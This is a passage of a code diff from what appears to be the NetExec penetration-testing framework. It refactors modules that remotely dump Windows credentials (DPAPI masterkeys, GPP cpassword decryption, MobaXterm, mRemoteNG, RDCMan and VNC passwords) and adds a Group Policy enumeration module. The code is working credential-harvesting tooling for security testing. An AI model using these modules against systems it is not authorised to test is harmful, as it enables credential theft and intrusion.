dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
-1
View File
@@ -1,5 +1,4 @@
from impacket.dcerpc.v5 import transport, rprn, even, epm
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
+28 -3
View File
@@ -1,12 +1,15 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
@@ -16,11 +19,33 @@ class NXCModule:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
+1 -1
View File
@@ -1,6 +1,6 @@
from dploot.lib.target import Target
from nxc.helpers.misc import CATEGORY
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
class NXCModule:
+1 -1
View File
@@ -63,7 +63,7 @@ class NXCModule:
if len(answers) > 0:
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
def filter_answer(self, context, answers):
# No option to filter
+265
View File
@@ -0,0 +1,265 @@
import json
import ntpath
import re
import shutil
from datetime import datetime, timezone
from pathlib import Path
from impacket.dcerpc.v5.lsat import DCERPCSessionError
from nxc.config import process_secret
from nxc.helpers.misc import CATEGORY
from nxc.helpers.ldap import parse_ldap_timestamp, query_ldap_gpos
from nxc.helpers.smb import get_share_security_descriptor, parse_dacl_aces
from nxc.paths import NXC_PATH
from nxc.protocols.smb.samrfunc import LSAQuery
GUID_PATTERN = re.compile(r"^\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}$")
class NXCModule:
"""Module by @Marshall-Hallenbeck
Do things with Group Policy Objects (GPOs) in Active Directory
"""
name = "gpos"
description = "Do things with Group Policy Objects (GPOs) in Active Directory"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
self.gpo_name = None
self.fuzzy_search = False
self.all_props = False
self.download = True
self.download_dest = "Retrieved_GPOs"
self.list_permissions = False
def options(self, context, module_options):
"""
NAME Name of the GPO (default retrieve all GPOs)
FUZZY Fuzzy search for name of GPOs (using wildcards)
ALL_PROPS Retrieve all properties of the GPO (default is name, guid, and sysfile path)
DOWNLOAD Download the GPOs to the local machine (default is True)
DEST Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
LIST_PERMISSIONS List permissions for the GPOs (default is False)
"""
self.gpo_name = module_options.get("NAME")
self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
context.log.debug(f"Module options: {self.gpo_name=}, {self.fuzzy_search=}, {self.all_props=}, {self.download=}, {self.download_dest=}, {self.list_permissions=}")
def on_login(self, context, connection):
gpo_ldap_map = query_ldap_gpos(
connection.host,
connection.domain,
connection.username,
connection.password,
connection.lmhash,
connection.nthash,
connection.aesKey,
connection.kdcHost,
connection.kerberos,
context.log,
)
if gpo_ldap_map is not None:
context.log.display(f"Queried {len(gpo_ldap_map)} GPOs via LDAP, enumerating SYSVOL via SMB")
else:
context.log.display("LDAP query failed, falling back to SMB-only (names may show as 'Unknown')")
policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
context.log.debug(f"Found policies path: {connection.domain}\\Policies")
gpos_found = []
for item in policies:
item_name = item.get_longname()
context.log.debug(f"Item: {item}, Item name: {item_name}")
if item_name not in [".", ".."] and item.is_directory() and GUID_PATTERN.match(item_name):
gpo_guid = item_name
gpo_path = ntpath.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
ldap_data = gpo_ldap_map.get(gpo_guid.upper()) if gpo_ldap_map else None
display_name = ldap_data["displayName"] if ldap_data else self.get_gpo_display_name_from_sysvol(context, connection, gpo_path)
if self.gpo_name:
match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
if not match:
continue
gpos_found.append((gpo_guid, gpo_path, display_name, ldap_data))
context.log.success(f"GPO Found: '{display_name}'")
context.log.highlight(f"Display Name: {display_name}")
context.log.highlight(f"GUID: {gpo_guid}")
context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
if self.all_props and ldap_data:
context.log.highlight(f"Version: {ldap_data['versionNumber']}")
context.log.highlight(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}")
context.log.highlight(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}")
if self.list_permissions:
self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
if self.download:
context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
gpo_dest = Path(self.download_dest) / gpo_guid
self.download_gpo(context, connection, gpo_path, gpo_dest, gpo_guid)
context.log.success(f"GPOs Found: {len(gpos_found)}")
if gpos_found:
self.save_gpo_loot(context, connection, gpos_found)
def save_gpo_loot(self, context, connection, gpos_found):
"""Save GPO information to the NXC loot directory in text and JSON format."""
loot_dir = Path(NXC_PATH) / "modules" / "gpos" / connection.domain / connection.host
loot_dir.mkdir(parents=True, exist_ok=True)
all_gpos_json = []
for gpo_guid, gpo_path, display_name, ldap_data in gpos_found:
gpo_dir = loot_dir / gpo_guid
gpo_dir.mkdir(parents=True, exist_ok=True)
gpo_info = {
"guid": gpo_guid,
"displayName": display_name,
"sysvolPath": f"\\\\SYSVOL\\{gpo_path}",
}
if ldap_data:
gpo_info["versionNumber"] = ldap_data["versionNumber"]
gpo_info["whenCreated"] = parse_ldap_timestamp(ldap_data["whenCreated"])
gpo_info["whenChanged"] = parse_ldap_timestamp(ldap_data["whenChanged"])
gpo_info["gPCFileSysPath"] = ldap_data["gPCFileSysPath"]
all_gpos_json.append(gpo_info)
json_path = gpo_dir / "info.json"
with open(json_path, "w") as f:
json.dump(gpo_info, f, indent=4)
txt_path = gpo_dir / "info.txt"
with open(txt_path, "w") as f:
f.write(f"Display Name: {display_name}\n")
f.write(f"GUID: {gpo_guid}\n")
f.write(f"SYSVOL Path: \\\\SYSVOL\\{gpo_path}\n")
if ldap_data:
f.write(f"Version: {ldap_data['versionNumber']}\n")
f.write(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}\n")
f.write(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}\n")
f.write(f"gPCFileSysPath: {ldap_data['gPCFileSysPath']}\n")
all_json_path = loot_dir / "gpos.json"
with open(all_json_path, "w") as f:
json.dump(all_gpos_json, f, indent=4)
all_txt_path = loot_dir / "gpos.txt"
with open(all_txt_path, "w") as f:
f.write(f"GPOs enumerated from {connection.domain} ({connection.host})\n")
f.write(f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}\n")
f.write(f"Total: {len(all_gpos_json)}\n")
f.write("=" * 60 + "\n\n")
for gpo in all_gpos_json:
f.write(f"Display Name: {gpo['displayName']}\n")
f.write(f"GUID: {gpo['guid']}\n")
f.write(f"SYSVOL Path: {gpo['sysvolPath']}\n")
if "versionNumber" in gpo:
f.write(f"Version: {gpo['versionNumber']}\n")
f.write(f"Created: {gpo['whenCreated']}\n")
f.write(f"Modified: {gpo['whenChanged']}\n")
f.write("-" * 60 + "\n\n")
context.log.display(f"GPO info saved to {loot_dir}")
def get_gpo_display_name_from_sysvol(self, context, connection, gpo_path):
"""Try to get the display name of a GPO by reading GPT.ini from SYSVOL via SMB"""
try:
ini_path = f"{gpo_path}\\GPT.ini"
context.log.debug(f"GPT.ini path: {ini_path}")
ini_content = bytearray()
def callback(data):
ini_content.extend(data)
connection.conn.getFile("SYSVOL", ini_path, callback)
ini_text = ini_content.decode("utf-8", errors="replace")
for line in ini_text.splitlines():
if line.lower().startswith("displayname="):
return line.strip().split("=", 1)[1]
return "Unknown"
except Exception as e:
context.log.debug(f"Could not read GPO display name: {e}")
return ntpath.basename(gpo_path)
def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
"""Download a GPO from the SYSVOL share using the appropriate method"""
context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
original_share = smb_conn.args.share
try:
smb_conn.args.share = "SYSVOL"
smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
context.log.success(f"GPO {guid} downloaded to {dest_folder}")
except Exception as e:
context.log.fail(f"Error downloading GPO {guid}: {e}")
if Path(dest_folder).exists():
try:
shutil.rmtree(dest_folder)
except Exception as cleanup_error:
context.log.debug(f"Error cleaning up directory: {cleanup_error}")
context.log.highlight("To manually download this GPO, use the following command:")
context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
finally:
smb_conn.args.share = original_share
def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
"""Get security information for a GPO folder and analyze permissions."""
context.log.debug(f"Getting security info for GPO path: {gpo_path}")
sd = get_share_security_descriptor(connection, "SYSVOL", gpo_path)
context.log.success("Retrieved security information")
try:
lsa_query = LSAQuery(connection=connection, logger=context.log)
except Exception as lsa_error:
context.log.debug(f"Error creating LSAQuery: {lsa_error}")
return
def resolve_sid(sid):
try:
return lsa_query.lookup_sids([sid])[0]
except DCERPCSessionError as e:
context.log.debug(f"Error looking up SID {sid}: {e}")
return "Unknown (potentially deleted user)"
parsed = parse_dacl_aces(sd, sid_resolver=resolve_sid)
if not parsed:
return
context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
if parsed["owner"]["sid"]:
context.log.highlight(f" Owner SID: {parsed['owner']['sid']} - {parsed['owner']['name']}")
if parsed["group"]["sid"]:
context.log.highlight(f" Group SID: {parsed['group']['sid']} - {parsed['group']['name']}")
if not parsed["aces"]:
context.log.highlight(" No DACL found - no access restrictions")
return
context.log.highlight(f" DACL: {len(parsed['aces'])} ACEs (Access Control Entries)")
for i, ace in enumerate(parsed["aces"]):
perm_str = ", ".join(ace["permissions"]) if ace["permissions"] else f"0x{ace['raw_mask']:08x}"
context.log.highlight(f" ACE {i + 1}: {ace['ace_type']}")
context.log.highlight(f" SID: {ace['sid']} - {ace['sid_name']}")
context.log.highlight(f" Permissions: {perm_str}")
+31 -26
View File
@@ -15,40 +15,45 @@ class NXCModule:
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available."""
""" """
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for Registry.xml")
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
for path in paths:
context.log.display(f"Found {path}")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
xml_section = xml.findall(".//Properties")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
for section in xml_section:
attrs = section.attrib
xml_section = xml.findall(".//Properties")
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+62 -57
View File
@@ -21,77 +21,82 @@ class NXCModule:
"""No options available"""
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
shares = connection.shares()
for share in shares:
if share["name"].lower() == "sysvol" and "READ" in share["access"]:
sysvol = share["name"]
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
sysvol,
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile(sysvol, path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+35 -7
View File
@@ -1,34 +1,62 @@
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
def mobaxterm_callback(credential):
if isinstance(credential, MobaXtermCredential):
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
elif isinstance(credential, MobaXtermPassword):
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
context.log.highlight(f"[{credential.winuser}] {log_text}")
try:
context.log.success("Looting MobaXterm secrets")
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
triage.triage_mobaxterm()
except Exception as e:
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
+52 -12
View File
@@ -1,10 +1,12 @@
import ntpath
from dploot.lib.target import Target
from Cryptodome.Cipher import AES
from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@dataclass
@@ -23,7 +25,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -40,7 +42,6 @@ class NXCModule:
self.mRemoteNg_path = [
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
]
self.custom_user_path = [
@@ -67,31 +68,70 @@ class NXCModule:
self.custom_path = module_options["CUSTOM_PATH"]
def on_admin_login(self, context, connection):
# 1. Evole conn into dploot conn
self.context = context
self.connection = connection
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
self.dploot_conn = connection.dpapi_triage.conn
self.share = connection.args.share
users = self.dploot_conn.list_users()
host = f"{connection.hostname}.{connection.domain}"
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
# Search for mRemoteNG files
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if dploot_conn is None:
context.log.debug("Could not upgrade connection")
return
# 2. Dump users list
users = self.get_users(dploot_conn)
# 3. Search for mRemoteNG files
for user in users:
for path in self.mRemoteNg_path:
user_path = ntpath.join(path.format(username=user), "confCons.xml")
content = self.dploot_conn.read_file(share=self.share, path=user_path)
content = dploot_conn.readFile(self.share, user_path)
if content is None:
continue
self.context.log.info(f"Found confCons.xml file: {user_path}")
self.handle_confCons_file(content)
for path in self.custom_user_path:
user_path = path.format(username=user)
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
if self.custom_path is not None:
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
content = dploot_conn.readFile(self.share, self.custom_path)
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
users_dir_path = "Users\\*"
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
for d in directories:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -112,7 +152,7 @@ class NXCModule:
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
nodes = []
@@ -126,7 +166,7 @@ class NXCModule:
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.list_dir(share=self.share, path=directory_path)
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
for item in directory_list:
if item.get_longname() not in self.false_positive:
@@ -138,7 +178,7 @@ class NXCModule:
# It's a file, download it to the output share if the mask is ok
if "confCons.xml" in item.get_longname():
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.read_file(share=self.share, path=new_path)
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
+33 -6
View File
@@ -1,28 +1,55 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Looting RDCMan secrets")
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
try:
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -31,7 +58,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -39,6 +66,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+1 -10
View File
@@ -101,8 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -223,14 +222,6 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
self.__dcom = DCOMConnection(
self.__target,
+102 -41
View File
@@ -1,14 +1,18 @@
import ntpath
import tempfile
from dploot.lib.target import Target
from impacket import winregistry
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
@@ -19,7 +23,7 @@ class NXCModule:
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb", "wmi", "winrm"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
@@ -45,40 +49,79 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share if hasattr(self.connection.args, "share") else "C$"
self.share = self.connection.args.share
dploot_conn = connection.dpapi_triage.conn
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
self.vnc_from_registry(dploot_conn)
self.vnc_client_proxyconf_extract(dploot_conn)
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def vnc_client_proxyconf_extract(self, dploot_conn):
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
